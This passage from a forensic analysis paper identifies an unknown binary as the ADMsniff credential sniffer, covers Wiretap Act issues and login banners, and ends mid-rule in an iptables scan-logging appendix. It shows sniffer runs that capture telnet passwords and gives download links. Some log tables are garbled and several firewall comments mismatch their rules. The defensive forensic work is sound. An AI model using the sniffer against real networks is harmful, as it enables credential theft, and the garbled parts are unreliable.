<td>00001e</td>
<td>00</td>
<td>AX</td>
<td>0</td>
</tr>
<tr>
<td>4</td>
<td>.rodata</td>
<td>PROGBITS</td>
<td>08090180</td>
<td>048180</td>
<td>012be0</td>
<td>00</td>
<td>A</td>
<td>0</td>
</tr>
<tr>
<td>5</td>
<td>__libc_atexit</td>
<td>PROGBITS</td>
<td>080a2d60</td>
<td>05ad60</td>
<td>000004</td>
<td>00</td>
<td>A</td>
<td>0</td>
</tr>
<tr>
<td>6</td>
<td>__libc_subfreeres</td>
<td>PROGBITS</td>
<td>080a2d64</td>
<td>05ad64</td>
<td>000040</td>
<td>00</td>
<td>A</td>
<td>0</td>
</tr>
<tr>
<td>7</td>
<td>__libc_subinit</td>
<td>PROGBITS</td>
<td>080a2da4</td>
<td>05ada4</td>
<td>000008</td>
<td>00</td>
<td>A</td>
<td>0</td>
</tr>
<tr>
<td>8</td>
<td>.data</td>
<td>PROGBITS</td>
<td>080a3dc0</td>
<td>05adc0</td>
<td>001260</td>
<td>00</td>
<td>WA</td>
<td>0</td>
</tr>
<tr>
<td>9</td>
<td>.eh_frame</td>
<td>PROGBITS</td>
<td>080a5020</td>
<td>05c020</td>
<td>000d64</td>
<td>00</td>
<td>WA</td>
<td>0</td>
</tr>
<tr>
<td>10</td>
<td>.ctors</td>
<td>PROGBITS</td>
<td>080a5d84</td>
<td>05cd84</td>
<td>000008</td>
<td>00</td>
<td>WA</td>
<td>0</td>
</tr>
<tr>
<td>11</td>
<td>.dtors</td>
<td>PROGBITS</td>
<td>080a5d8c</td>
<td>05cd8c</td>
<td>000008</td>
<td>00</td>
<td>WA</td>
<td>0</td>
</tr>
<tr>
<td>12</td>
<td>.got</td>
<td>PROGBITS</td>
<td>080a5d94</td>
<td>05cd94</td>
<td>000010</td>
<td>04</td>
<td>WA</td>
<td>0</td>
</tr>
<tr>
<td>13</td>
<td>.sbss</td>
<td>PROGBITS</td>
<td>080a5da4</td>
<td>05cdc0</td>
<td>000000</td>
<td>00</td>
<td>W</td>
<td>0</td>
</tr>
<tr>
<td>14</td>
<td>.bss</td>
<td>NOBITS</td>
<td>080a5dc0</td>
<td>05cdc0</td>
<td>0056c8</td>
<td>00</td>
<td>WA</td>
<td>0</td>
</tr>
<tr>
<td>15</td>
<td>.comment</td>
<td>PROGBITS</td>
<td>00000000</td>
<td>05cdc0</td>
<td>0032d6</td>
<td>00</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
Running sn.dat Binary

It was deemed necessary to run the binary file to see what it would do in order to compare it to the other versions of ADMsniffers downloaded off the Internet in our test system. The binary was ran without any command line arguments. This resulted in the following display:

```
[root@sysw242h bin_done]# ./sn.dat
ADMsniff priv 1.0 <device> [HEADERSIZE] [DEBUG]
ex   : admsniff le0
..ooOO The ADM Crew OOoo..
```
Next the binary was ran with the loopback as the network interface. The loopback was used to see what would happen before an interface was given that was on the network. The output is below:

    [root@sysw242h bin_done]# ./sn.dat lo
ADMsniff priv 1.0  in libpcap we trust!
credits: ADM, mel , ^pretty^ for the mail she sent me

To see what the header size and debug did, it was ran again with the following output:

    [root@sysw242h bin_done]# ./sn.dat lo 80 DEBUG
ADMsniff priv 1.0  in libpcap we trust!
credits: ADM, mel , ^pretty^ for the mail she sent me

The command line options did not seem to produce any additional information on the binary.

To see what the sniffer picks up, a test was done by telnetting into another machine to see what the log file (called The_l0gz) contains. Below are the contents of the log file for the first test:

```
........$j...........$j...........$j...........#.'......$j...........!..'......
........#..............$j...........$j...........$j...........Red Hat Linux release 7.3 (Valhalla).Kernel
2.4.18-3 on an i686........$j....login:
........$k...........$k...........$k...........$k...........$k...........$k...........$k...........Password:
login: Sun Jul 21 15:56:31 from 172.16.142.128........$I...........[H...[2J...........#
--=[ 172.16.142.128:32789 --> 172.16.142.1:23 ]=--
```

Log (The_l0gz) File

The characters that are outlined is user input. Looking through the log, the user id, and password (both in outlined text) can be found. The log file is not exactly user readable, but with a little effort, important information can be picked up. Such information would include the headers from the server that the user had logged into. In this case the Linux
flavor, the kernel version, the ports that are used, and both IPs of the server and client are logged. An attacker could use this information to attack 172.16.142.1 and obtain root access through a buffer exploit.

Here is an example of the log file with headersize set to 30 and the DEBUG option turned on. The user just telnetted into the server and then exited.

<table>
<thead>
<tr>
<th>Login Details</th>
<th>Server IP</th>
<th>Client IP</th>
<th>Start Time</th>
<th>End Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
</tr>
</tbody>
</table>

Log (The_log) File: With headers set to 30 and DEBUG option turned on

The sniffer was ran with only the DEBUG option turned on. To see if this option worked, a user logged into the server with a test account and exited. The file sizes were compared with a log created by running the sniffer without any options and the user doing the same actions as before. Both file sizes of the two log files are the same size of 1509 bytes. Below is the log.

<table>
<thead>
<tr>
<th>Login Details</th>
<th>Server IP</th>
<th>Client IP</th>
<th>Start Time</th>
<th>End Time</th>
</tr>
</thead>
<tbody>
<tr>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
<td>login: test@dragonmound</td>
</tr>
</tbody>
</table>
Another tool used was a C program called promisc.c by Mr. Linton, downloaded from the bugtraq mailing list [http://bugtraq.inet-one/dir.1997-09/msg00025.html](http://bugtraq.inet-one/dir.1997-09/msg00025.html). This program would detect if the interface had gone into promiscuous mode (Linton, 1). The promisc.c program is listed in Appendix 11 and is compiled by doing a `gcc -o sys_test promisc.c` on the command line in the same directory in which promisc.c is.

Sys_test (promisc.c) was run in case the ifconfig command did not report the interface being in promiscuous mode. As it turned out, when the sn.dat binary was run, the interface did show it was in promiscuous mode as shown below:

```
[root@sysw242h root]# ifconfig -a
eth0   Link encap:Ethernet  HWaddr 08:00:46:48:94:2D
       UP BROADCAST RUNNING PROMISC MULTICAST  MTU:1500  Metric:1
       RX packets:7273 errors:0 dropped:0 overruns:0 frame:0
       TX packets:9042 errors:0 dropped:0 overruns:0 carrier:0
       collisions:213 txqueuelen:100
       RX bytes:1467630 (1.3 Mb)  TX bytes:3802318 (3.6 Mb)
lo     Link encap:Local Loopback
       inet addr:127.0.0.1  Mask:255.0.0.0
       UP LOOPBACK RUNNING  MTU:16436 Metric:1
       RX packets:93 errors:0 dropped:0 overruns:0 frame:0
       TX packets:93 errors:0 dropped:0 overruns:0 carrier:0
       collisions:0 txqueuelen:0
       RX bytes:6974 (6.8 Kb)  TX bytes:6974 (6.8 Kb)
```

The promisc.c program reports the following when the sniffer is run:

```
[root@sysw242h data]# ./sys_test
lo: Not-Promiscuous: No Sniffers detected.
eth0: Promiscuous: Sniffer detected.
```

Both commands show the interface in promiscuous mode.
Another noted problem is that when sn.dat or ADMsniff-1 (the ADMsniff 1.0 priv version), is killed with a kill -9 or control-break, it leaves the interface in promiscuous mode. A couple of things were tried to get the interface out of promiscuous mode. First, the command /etc/init.d/network restart was issued to bring down the interfaces and bring the interfaces back up. It was hoped that this would clear out the promiscuous flag. It did not. The second thing tried was to bring up another sniffer like tcpdump. Tcpdump was allowed to run for a minute and the was shutdown by a control-break. This still left the interface in promiscuous mode. The last resort to eliminate the promiscuous mode was to reboot. That worked. With the interface in promiscuous mode, this is a very good way to detect the ADMsniffer working.

**Binary Comparison**

Armed with the above information and the keywords outlined in the first section of the Part 2, a search on the Internet was done to try to find the sniffer. Several websites offered the ADMsniff in two different versions. The older version was 0.8 and the newer version was 1.0 priv. The 0.8 version can be obtained at [http://packetstormsecurity.nl/groups/ADM/ADMsniffv0.8.USE_THIS_VERSION@23@23@23_24.tgz](http://packetstormsecurity.nl/groups/ADM/ADMsniffv0.8.USE_THIS_VERSION@23@23@23_24.tgz). The 1.0 priv version can be obtained the ADM group's website, [http://adm.freelsd.net/ADM/ADMsniff.tar.gz](http://adm.freelsd.net/ADM/ADMsniff.tar.gz). Finally, there was another “version” found on the internet that was labeled as ADMsniff 0.1b. It can be downloaded at [http://openbsd.org.br/ouah/progs/ADMsniff.tar.gz](http://openbsd.org.br/ouah/progs/ADMsniff.tar.gz). However this “version” of the ADMsniff program seems to be the same thing as the version obtained at the Packetstorm website.

The ADMsniff version 1.0 priv was compiled and compared with the sn.dat binary. Both have the same command line options listed when ran without a network interface, shown below.

<table>
<thead>
<tr>
<th>sn.dat</th>
<th>ADMsniff-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADMsniff priv 1.0 &lt;device&gt; [HEADERSIZE] [DEBUG] ex : admsniff le0 ..ooOO The ADM Crew OOoo..</td>
<td>ADMsniff priv 1.0 &lt;device&gt; [HEADERSIZE] [DEBUG] ex : admsniff le0 ..ooOO The ADM Crew OOoo..</td>
</tr>
</tbody>
</table>

When ran with the command line options the output for both was:

<table>
<thead>
<tr>
<th>sn.dat</th>
<th>ADMsniff-1</th>
</tr>
</thead>
<tbody>
<tr>
<td>ADMsniff priv 1.0 in libpcap we trust ! credits: ADM, mel, ^pretty^ for the mail she sent me</td>
<td>ADMsniff priv 1.0 in libpcap we trust ! credits: ADM, mel, ^pretty^ for the mail she sent me</td>
</tr>
</tbody>
</table>

In the file analysis it was reported that the binary, sn.dat, was statically compiled and stripped. To see if the ADMsniff version 1.0 priv was the same as the sn.dat binary there were a few changes that needed to be made. First, the Makefile had to have the following changed to make the binary compile statically:
CFLAGS = -I. -L. $(COMPFLAGS) -static

After the binary was compiled, the strip command, `strip ADMsniff-1`, was ran on the newly created binary. Now that a statically stripped ADMsniff version 1.0 priv binary has been created, a comparison between sn.dat and ADMsniff-1 can be done.

Both versions of the sniffer look to be the same as far as the way they run and output produced. The biggest difference is in the byte count for each file. The original sniffer, ADMsniff version 1.0 priv, is 389104 bytes when statically compiled and stripped. While the unknown sniffer, sn.dat, is 399124 bytes. There is still a 10020 byte difference between the two binaries. It seems plausible that the attacker compiled sn.dat with a different libpcap library, most likely with a newer version, or the system it was compiled on had different libraries than the system ADMsniff-1 was compiled on.

The sn.dat binary looks to be built from the ADMsniff version 1.0 priv based on the output that is displayed when the program is ran. Another observation that supports this, is that ADMsniff version 0.8 has a working DEBUG option. The sn.dat and ADMsniff version 1.0 priv does not display anything when ran with the DEBUG option. If this option did work, and the output should be similar to what is below:

```
[root@sysw242h ADMsniff# ./ADMsniff lo 80 DEBUG
ADMsniff pub 0.8 in libpcap we trust !
credit's: ADM, mel , ^pretty^ for the mail she's sent me
Juergen suxxx !@!#! and need to die !!@#!
blah! i'm tired :pp
Debug !
buf=134527004 caplen:96
len:96
buf=134527004 caplen:96
len:96
buf=134527004 caplen:87
len:87
buf=134527004 caplen:87
len:87
buf=134527004 caplen:64
len:64
./127.0.0.1:32747->127.0.0.1:23-P:6
buf=134527004 caplen:64
len:64
./127.0.0.1:32747->127.0.0.1:23-P:6
buf=134527004 caplen:64
len:64
./127.0.0.1:23->127.0.0.1:32747-P:6
buf=134527004 caplen:64
```
ADMsniff version 0.8 DEBUG output

On the right is a table that contains the MD5 hash of sn.dat binary and the ADMsniff version 1.0 priv used in the analysis. Obviously the binaries are very different from each other because the MD5 hashes are different.

<table>
<thead>
<tr>
<th>Binary Name</th>
<th>MD5 Hash</th>
</tr>
</thead>
<tbody>
<tr>
<td>sn.dat</td>
<td>0e954f43fd73f56e812a7285f32e41d3</td>
</tr>
<tr>
<td>admsniff_ss</td>
<td>886dee0c285054bfb0e65605f40263f0</td>
</tr>
</tbody>
</table>

Strace was another tool that run on the sn.dat binary. The script in Appendix 10, created by Mr. William Stearns, was used to run strace on the binary. Mr. Stearns script allowed the strace to be captured, saved to a file, and made it conveniently easy to run the strace (1). Appendix 14 contains the contents of the apptrace file created by Mr. Stearns script. The following command line was used to create the apptrace:

```
./sn.dat.orig eth0 30 debug
```

Looking through the strace there were no malicious calls made. Both, sn.dat and admsniff-1 binaries, exhibited the same behavior.

The source code for ADMsniff version 1.0 priv was looked over. This was done to see how the sn.dat binary should behave. There were no “hidden features” found in the source code for version 1.0 of ADMsniff. Unfortunately no other information could be gleamed from the source code that would help with the analysis of the sn.dat binary.

A MAC times analysis was done to see whether the sn.dat binary did anything besides the creation of the The_l0gz file. A clean VMware RedHat 7.3 image was created by using the default install for RedHat. The only alterations done to the image was networking was setup and the default INIT level was set to three to reduce the amount of file access times changing when in use. After the OS was up, a read only floppy was mounted which contained the sn.dat binary and a static version of the dd command. A mount point was created called /mnt/sys for the NFS mount needed for the three gigabyte image file that would be created after the sn.dat file was ran. The bash shell command prompt was altered to show the time and date to create a timestamp. The script command was used to record everything that was entered into the system and the output of the script command was sent to a file at /mnt/sys/sout. The sn.dat binary was ran with the command line reading:
/mnt/floppy/sn.dat eth0 80 DEBUG

Then another machine was telnetted into a test account and exited once the command prompt was received. The sn.dat process was killed with a:

    kill {PID of the sn.dat process}

Finally, a image of the VMware hard drive was taken using the following:

    /mnt/floppy/dd if=/dev/sda1 of=/mnt/sys/redhat_7.3_sn.dat.img

Once the image was created, the VMWare machine was shutdown.

The redhat_7.3_sn.dat.img file was mounted by using the following command:

    mount -o loop,ro,nodev,noexec,nosuid,noatime \       
    /export/data3/image/redhat_7.3_sn.dat.img /mnt/sn.dat

Finally, the MACtime command could be executed to perform the MAC analysis of the image. The following was used:

    mactime -d /mnt/sn.dat 7/28/2002 > /export/data/binary/mac.sn.dat

The output from the script command, which can be found in Appendix 12, was used to assist in the analysis. The binary sn.dat was executed at Sun Jul 28 05:06:44 P.M. according to the captured output and was terminated by Sun Jul 28 05:07:47 P.M. A copy of the mac.sn.dat file was loaded into vi and 17:06 was searched for. During the timeframe outlined there were no other files accessed other than what is normal for a Telnet connection. Appendix 13, contains a copy of the timeframe from the mac.sn.dat MACtime analysis file.

A netstat -a was ran before the sn.dat binary was ran. The output was saved to a file. Then sn.dat was ran. While sn.dat was running, another netstat -a was ran and saved to a file. Both files were compared with each other with the diff command. There were no differences between the files.

While the above test was going on, the server that was logged into was running Ethereal, a network sniffer. The data that was collected consisted of a Telnet connection, some ping traffic, and a nfs mount traffic all initiated by the tester to see what the sn.dat sniffer would pick up. The network trace was saved as a tcpdump binary file after it was reviewed to see if there was any anomalous traffic. Snort was used to read in the tcpdump file to see if Snort could pick anything else up. All of the alerts that Snort reported were expected. Some of the alerts were ICMP Pings, RPC portmap request mountd, and MISC Large UDP Packet. Based on the above information, the
sn.dat binary does not open any ports, nor does it send any information anywhere.

Finally, if the binary use was deemed important enough, there are some other leads that an investigator could follow. In the keywords section in the first section of Part 2, ADM, mel, and.pretty could be contacted to see if they know of this variant of the ADMsniff binary. Tracking the ADM group, mel, and.pretty down may prove to be a time consuming task. If one did find them, they probably would not be able to shed any additional light on the sn.dat binary. It looks as if there was some additional code added to the ADMsniff 1.0 priv version due to the size difference.

Forensic Procedure Outline

1) file sn.dat
2) MACtime
   1. Last accessed time: ls -lu
   2. Last modification time: ls -al
   3. Last changed time: ls -lc
3) ldd sn.dat
4) strings -a sn.dat
5) gdb ./sn.dat
6) readeld -a ./sn.dat
7) objdump -x ./sn.dat
8) Ran binary: ./sn.dat
   1. Done on a test system with promisc.c running
9) Ran binary: ./sn.dat lo
   1. Done on a test system with promisc.c running
10) Ran binary with apptrace and used ethereal to sniff eth0 interface: ./sn.dat eth0 80
    1. Done on a test system with promisc.c running
    2. Telnetted out to a remote system.
    3. Logged in and exited once logged in
11) Ran binary with apptrace and used ethereal to sniff eth0 interface: ./sn.dat eth0 80 DEBUG
    1. Done on a test system with promisc.c running
    2. Telnetted out to a remote system.
    3. Logged in and exited once logged in
12) Reviewed the apptraces for malicious behavior
13) Using VMware
    1. Changed prompt to record the timestamp
       1. export PS1="[d \T \u@\h \w]n$ \\
    2. Mounted a floppy containing statically compiled version of dd and a copy of the sn.dat binary
       1. mount /dev/fd0 /mnt/floppy
    3. NFS mounted a large hard drive to save the drive image to for the MAC analysis
       1. mount 172.16.142.1:/export/data3/image /mnt/sys
    4. Used the command script to record what was typed
1. script -f /mnt/sys/out
5. Ran binary: ./sn.dat eth0 80 DEBUG
6. Using a statically compiled binary of the dd command put on a write-protected floppy
   1. dd if=/dev/sda1 of=/mnt/sys/redhat_7.3_sn.dat.img
7. Shutdown the VMware machine after dd command finished
13) Did a MAC analysis on the system
   1. Mounted binary image just created
      1. mount -o loop,ro,nodev,noexec,nosuid,noatime
         /export/data3/image/redhat_7.3_sn.dat.img /mnt/sn.dat
   2. mactime -d /mnt/sn.dat 7/28/2002 > /export/data/binary/mac.sn.dat
   3. Viewed the output of the script command and compared the timestamp of when
      sn.dat was ran.
   1. No suspicious behavior was record by the MAC time analysis

Legal Implications
The sn.dat binary violates Federal law called the criminal Wiretap Act, 18 U.S.C. §§ 2511 (1), if it has been ran by unauthorized personal (Salgado, 3-4). The criminal Wiretap Act prohibits the interception/use of wire and electronic communications. Since the sn.dat binary is a network sniffer, and a network sniffer is used to intercept communications between machines, this clearly violates the criminal Wiretap Act (3-4). If it can be proven that the binary was ran, the penalty for breaking the law is a maximum fine of $5000 (Martins Plead Guilty, par. 1).

The biggest issue is proving that sn.dat was ran on the system. If there was a file called The_l0gz, then that would indicate that the file was ran on the system. There was no file called The_l0gz included in the sn.zip. Another way to tell if the file may have been ran is to look at the last accessed time for the file. This would tell when the binary has been last accessed. However, the timestamp is not enough evidence to support the claim that the binary was running on the system. The log file The_l0gz would have to be recovered to support the claim.

Interview Questions
1) Where you logged in the system on Thursday, April 11 2002 at 9:29 A.M.?
2) Were you authorized to run the sniffer? If so, then by whom?
3) Was there another program used to read the log file?
4) What does the additional code do that you added to the ADMsniff version 1.0 priv?
5) Was there a specific system you were looking to gain access to?
6) The log file, The_l0gz, was recovered off the system. Along with the logs from the IDS and firewall, and several ISP’s logs that you routed your IP traffic through, all show your involvement with the sn.dat binary running on the machine in question. An analysis of the sn.dat binary has been done and it is obvious it is a network sniffer. Please state what the binary does in your own words.
Additional Information
The links below can provide more information on the outlined topics.
1. ADM hacker group:  http://adm.freelsd.net

Conclusion
The sn.dat binary may be a modified version of the ADMsniff version 1.0 priv that has been statically compiled and striped. Sn.dat sniffs the network interface it has been directed and captures all the packets on the interface. It uses libpcap version 0.4 to capture the packets. The packets captured are saved to a file called The_l0gz. The binary appears not to send any data across the network, nor does it modify any other files on the system besides the The_l0gz log file. Running sn.dat on an unauthorized server violates 18 U.S.C §§ 2511 and carries a maximum fine of $5000 if proven guilty (Martins Plead Guilty, par. 1). In this particular case, there is not enough proof that the sn.dat binary has been ran on a system.
Part 3 – Legal Issues of Incident Handling

Authority of the system Administrator regarding the Wiretap Statute

System administrators through the Wiretap Act can monitor networks and computers of which they are employed to take care of (Salgado, 3-4 – 3-5). This would allow a system administrator to employ an IDS to monitor network traffic and capture those packets deemed malicious or questionable (3-4 – 3-5). The Wiretap Act ‘provider’ exception, § 2511(2)(a)(i), grants administrators the right to monitor their networks and computers so that they can prevent misuse of the system, theft, fraud, invasions of privacy, and computer system damage (3-4 – 3-5). The ‘provider’ exception does not allow for providers, i.e., businesses, to do unlimited monitoring (3-6). However, some monitoring has to be done to ensure that the network is operational and to diagnose issues with the network. Because of that, administrators can intercept and disclose to the authorities what was captured because it was unavoidable (3-4 – 3-5).

What is reasonable?

According to Mr. Salgado’s interpretation of United States vs. Mullins, 992 F.2d 1472, 1478 (9th Cir. 1993), the need for a business to protect its network and computer systems does not give it the right to monitor all of the traffic on the network (3-6). Therefore, a system needs to only capture those packets that have malicious intent or represents computer system misuse. A good example of this would be a network intrusion detection system and a system file checker like Tripwire.

Mr. Salgado’s interpretation of the United States vs. Mullins, 992 F.2d 1472, 1478 (9th Cir. 1993), goes on to say that the courts suggested that the exception “does not necessarily translate into a license to monitor all the traffic” (3-6). This does include malicious traffic, which puts system administrators into a bind. How can a system administrator protect the network without being able to monitor it 24 hours/7 days a week? The key to that is the wording. Until there is a court case that says it is illegal to monitor traffic 24/7 it should be done within certain guidelines with respect to the users privacy. The illegal monitoring section goes into more details about what should be monitored and should not be monitored.

An IDS, intrusion detection system, can monitor the network and capture those packets described by the IDS rules. Packets picked up by the IDS can include everything from the packet’s header to the whole packet itself. The IDS does not record all the network traffic, so the privacy of the users of the network should not be in question.

Illegal Monitoring

Most businesses give their users a document that describes the employment agreement, code of conduct, or computer acceptable use policy. In this document, it usually states that their activities and email may be monitored. Based on that, the users should have a good idea on what will be private and what is not. However, without
proper training the system administrator may abuse his or her privileges on the system. Below are a couple of examples of administrators abusing the "system administrator" exception to the Wiretap Act.

For example, Joe, who is a system administrator, is interested in a woman named Amy, who works for the same company. According to the employment policy for the company, the employees are notified that anything they do on the network or computers will be monitored. Joe decides that he needs some inside information on Amy so that he can determine who Amy is interested in dating. Since Joe is an administrator and according to company policy, Joe feels that it is OK for him to monitor where Amy goes on the Internet, who she talks to in the IRC channels during lunch, and reads her email. In this example, Joe is obviously abusing his power on the network.

Another example would be a system administrator notices that Mike checks his stock during lunch. The system administrator sets up a network sniffer and gathers' Mike's login and password for his stock broker's website. Later, the system administrator uses this information and checks out Mike's stock information. Again, this is an example of an illegal use of a network sniffer.

The last example is Richard, who is Todd's boss, notices that Todd is working on stuff that appears to be for another company while at work. Richard contacts the human resources and legal departments about his suspicions. Both departments agree that what Todd is doing at work should be researched. Human resources contact the local administrator, Bob, and asks him to monitor Todd's workstation. Bob sets up a network sniffer and a keylogger on Todd's workstation. During the first day of monitoring, Bob does find evidence that Todd is working for another company and is passing company secrets out to the other company. Bob reports this information back to human resources and legal departments. The legal department decides that they need more evidence for a legal case and ask Bob to continue monitoring. Bob ends up monitoring Todd for over a week before the legal department reports that enough evidence has been collected. What Bob did not report was that during that course of the investigation, Bob "listened in" on Todd's private IRC communications with his girlfriend about their current relationship. While Bob has followed the directions given to him by human resources, he was not given authorization to "listen in" on Todd's private discussion with his girlfriend.

In all three examples, each system administrator abused the exceptions given by the Wiretap Act. In the first two examples, both system administrators clearly abuse their power by reviewing information that is private to Amy and Mike. Neither system administrators were given authorization to review network traffic or emails from their bosses, the legal department, and human resources. The last example is not as black and white as the first two examples. Bob has been given authorization to conduct an investigation by Todd's boss, human resources, and the legal department. Bob did what many system administrators would do, install a network sniffer and a keylogger. However, Bob needs to distinguish between professional and personal behavior, and how to monitor what the legal department would consider inappropriate.
What should be monitored is traffic that is harmful to the network and the computer systems on the network. The IDS needs to be setup with rules to monitor the traffic like exploits, viruses, and the traffic that breaks written company policy that the employee has signed and has agreed to. Employees need to be informed that network traffic could be monitored at any time. The employer needs to have a written document stating acceptable computer use along with the employees signature stating that they have reviewed the document. System administrators need to be trained as to what is appropriate to monitor and what is not. Administrators, also, need to be trained in the tools they use in order to refine what they are monitoring. Lastly, computer systems should have their ports bannered as much as possible. In Rob Lee's paper entitled “Incident and Wiretap of A Real Case,” Mr. Lee states that it is illegal to monitor ports that cannot be bannered (2). Mr. Lee's statement may or may not have legal advice behind it. So it would be up to the system administrator to seek the advice of the legal department on whether this should be allowed or not.

**Bannering the Ports**

One of the things done to protect a system is to banner ports on the system. The purpose of the banner is to inform the person trying to log in on that system of three things. First is that the system is restricted to authorized use only (Salgado, 3-7). Second, it should inform the person that the system is subject to monitoring and by continuing to log in, the person gives up their right to privacy (3-7). Finally, any criminal activity is subject to being recorded and given to the authorities for prosecution (3-7). Some companies may add more to their banner, but the banner should contain the three items stated above. Below is an example of a system banner:

```
This system is a restricted system. All activity on this system is subject to monitoring. If information collected reveals possible criminal activity or activity that exceeds privileges, evidence of such activity may be provided to the relevant authorities for further action. By continuing past this point, you expressly consent to this monitoring.
```

Banners are put on ports for a couple of reasons. The first reason is to let those logging into the system know that they are being monitored (3-7). By doing this the user should not assume their actions on the system are private (3-7). The first reason corresponds to the "consent" exception § 2511 (2)(c)-(d) of the Wiretap Act (3-4). Second, it shows that the cracker had intent on breaking into the computer (Suggested Login Banner, par. 12). The last reason, if computer system is cracked and a case is developed against the attacker. A defense attorney would not be able to argue the computer system had a "welcome" message (pars. 12-13). According to the SERT advisory SA-93:03A, a computer cracker was successfully prosecuted in New South Wales because the computer system had an appropriately worded login banner (par. 8). In Mr. Nickolson's article called "Politeness In Computing," states that there have been no court cases, as
of April 2000, in the United States that dwelt on whether the banner had a “welcoming” message or not (par. 16). Mr. Nickolson stated those cases have violated The Federal Computer Fraud and Abuse Act §1030 (pars. 13-15). In any case, it would be better to close as many loopholes left open to the defense attorneys as possible.

Xinetd, available from www.xinetd.org, is a freeware program that can assist in bannering ports on a computer system. By adding the following line(s), marked in bold, to a service, the administrator can effectively banner a port:

```plaintext
service telnet
{
    flags       = REUSE
    socket_type = stream
    wait        = no
    user        = root
    banner_fail = /etc/banner/fail
    banner      = /etc/banner/connect
    redirect    = 192.168.1.1 23
    bind        = 127.0.0.1
    log_on_failure += USERID
}
```

Another way is to change the banners for the various applications used such as Telnet, WU-FTP, and so on. This approach will probably be more difficult and time consuming.

**Limitations of Bannering Ports**

Even with tools like xinetd, it is virtually impossible to banner all the ports on the machine. Such issues arise when the system administrator try's to banner a UDP port for example. It raises questions like:

1) How does the attacker get the banner message?
2) How do we guarantee that the attacker receives the banner message?
3) What are the legalities of programs such as nmap, that scans a target machine and does not report back banner messages to the attacker?
4) Who is at fault when the banner message is sent and can be confirmed that it was sent, but the attacker never saw the banner message?

In some cases the way the protocol is written and the lack of programs such as xinetd, it may be impossible for the system administrator to banner a port. An example of this, might be SNMP or ISO Internet Protocol (protocol 80).

Another issue that Rob Lee had written about is whether or not monitoring can be done without a banner ([Suggested Login Banner](#), pars. 12-13). The importance of a banner is
to state that continuing beyond this point, the user/attacker agrees to monitoring and the disclosure of that monitoring to the authorities. So if the port cannot be bannered, does that make the monitoring and disclosure illegal? Currently, this looks it is a gray area because there were no documents could be found on the subject. Obviously a business has the right to protect its data and company secrets. On the other side of the coin, individuals have a right to privacy. Until there is a court case that makes this clear, it will continue to remain a gray area.
Appendix 1 – IPTables Firewall Script

#!/bin/bash

# Logging

# Use RedHat's iptables script to flush out all the rules and set the default policy to accept
/etc/init.d/iptables stop

. /etc/init.d/functions

IP="/usr/local/sbin/iptables"

echo -n "$Flushing Chains and Setting Default Policies: "

# Remove any pre-existing user-defined chains
$IP --delete-chain
$IP -t nat --delete-chain
$IP -t mangle --delete-chain

# Remove any existing rules from all chains
$IP --flush
$IP -t nat --flush
$IP -t mangle --flush

# Set the default policy to DROP
$IP -P INPUT DROP
$IP -P FORWARD DROP
$IP -P OUTPUT DROP

# RedHat has issues with the below commented out rules.
#$IP -t nat --policy PREROUTING DROP
#$IP -t nat --policy OUTPUT DROP
#$IP -t nat --policy POSTROUTING DROP
#$IP -t nat --policy OUTPUT DROP

# Set the default policy to ACCEPT for localhost
$IP -A INPUT -i lo -j ACCEPT
$IP -A OUTPUT -o lo -j ACCEPT
success "$Flushing Chains and Setting Default Policies: "

echo
echo -n "$""Setting Kernel Policies: "
# Needed to do IP_forwarding
echo "1" > /proc/sys/net/ipv4/ip_forward

# Enable broadcast echo Protection
##echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts

## Disable Source Routed Packets
# for f in /proc/sys/net/ipv4/conf/*/accept_source_route; do
#   echo 0 > $f
#done

# Enable TCP SYN Cookie Protection
##echo 1 > /proc/sys/net/ipv4/tcp_syncookies

# Disable ICMP Redirect Acceptance
##for f in /proc/sys/net/ipv4/conf/*/accept_redirects; do
##  echo 0 > $f
##done

# Don’t send Redirect Messages
##for f in /proc/sys/net/ipv4/conf/*/send_redirects; do
##  echo 0 > $f
##done

## Drop Spoofed Packets coming in on an interface, which if replied to,
## would result in the reply going out a different interface.
# for f in /proc/sys/net/ipv4/conf/*/rp_filter; do
#   echo 1 > $f
#done

# Log packets with impossible addresses.
##for f in /proc/sys/net/ipv4/conf/*/log_martians; do
##  echo 1 > $f
##done

success "$""Setting Kernel Policies: "

# Logging

## Scan Logging
echo
echo -n "$""Setting Scan Logging: "
$IP -N scan_tcp
$IP -A FORWARD -i eth0 -j scan_tcp

Page: 76 of 132
# All of the bits are cleared
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ALL NONE -j LOG --log-prefix "NULL Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ALL SYN -j LOG --log-prefix "SYN Scan/Starting Conn: " --log-ip-options --log-tcp-options
# SYN and FIN are both set
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags SYN,FIN SYN,FIN -j LOG --log-prefix "SYN/FIN Scan: " --log-ip-options --log-tcp-options
# SYN and RST are both set
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags SYN,RST SYN,RST -j LOG --log-prefix "SYN/RST Scan: " --log-ip-options --log-tcp-options
# FIN and RST are both set
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags FIN,RST FIN,RST -j LOG --log-prefix "FIN/RST Scan: " --log-ip-options --log-tcp-options
# FIN is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags SYN,FIN SYN,RST SYN,RST -j LOG --log-prefix "NEW Conn: " --log-ip-options --log-tcp-options
# PSH is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,PSH PSH -j LOG --log-prefix "PSH Scan: " --log-ip-options --log-tcp-options
# URG is the only bit set, without the expected accompanying ACK
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags FIN,RST FIN,RST -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: " --log-ip-options --log-tcp-options
$IP -A scan_tcp -m state --state NEW -p tcp --tcp-flags ACK,FIN FIN -j LOG --log-prefix "FIN Scan: ">
